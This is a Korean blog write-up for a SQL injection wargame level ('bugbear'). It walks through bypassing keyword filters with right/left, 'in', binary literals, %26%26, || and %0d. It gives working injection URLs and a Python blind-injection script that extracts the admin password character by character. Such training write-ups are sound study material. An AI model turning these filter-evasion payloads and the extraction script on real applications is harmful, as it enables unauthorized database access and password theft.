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웹 해킹/lord of SQL

los 12번

by sonysame 2018. 6. 28.
query : {$query}

"; $result = @mysql_fetch_array(mysql_query($query)); if($result['id']) echo "

Hello {$result[id]}

"; $_GET[pw] = addslashes($_GET[pw]); $query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'"; $result = @mysql_fetch_array(mysql_query($query)); if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear"); highlight_file(__FILE__); ?>

pw에는 ' 필터링 되어있다.

no에는 ' substr ascii = or and 공백 like 0x 가 필터링되어있다.


substr 필터링->right left 이용

like와 =이 모두 필터링 되었으므로 in을 사용!

0x가 필터링되었으므로 0b를 이용!

and 필터링-> %26%26

or 필터링->||


Blind SQL injection으로 패스워드 길이와 패스워드 자체를 알아낸다!


?pw=1&no=123||id%0din%0d(0b0110000101100100011011010110100101101110)%26%26length(pw)in(8)

?pw=1&no=123||id%0din%0d(0b0110000101100100011011010110100101101110)%26%26right(left(pw,3),1)>char(50)



import requests

def main():
	cookie={"__cfduid":"d282347679afbe7ce118657ef96dd67f61530072154","PHPSESSID":"25bfqp0uqr6pmep83spki2t522"}

	query='https://los.eagle-jump.org/bugbear_431917ddc1dec75b4d65a23bd39689f8.php'
	for i in range(1,9):
		x=30
		while(1):
			x+=1
			query_add=query+"?pw=1&no=123||id%0din%0d(0b0110000101100100011011010110100101101110)%26%26right(left(pw,"+str(i)+"),1)>char("+str(x)+")"
			result=requests.get(query_add, cookies=cookie)
			if(result.text.find("Hello")>1000):
				print("GOOD "+str(i)+": "+chr(x))
				break
#			print(str(x))


if(__name__=="__main__"):
	main()

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